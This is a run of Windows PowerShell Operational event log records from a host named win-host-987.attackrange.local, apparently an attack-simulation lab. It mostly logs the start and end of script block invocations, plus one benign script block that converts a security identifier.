OpCode=On create calls
RecordNumber=2024354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024349
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024348
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024347
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024346
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024326
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024325
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024320
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024319
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2024318
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }

ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Path:
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024317
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024316
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024315
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024314
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024313
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024312
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024311
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024310
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024309
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024308
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024307
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024306
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024305
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024304
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024303
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024302
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024301
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
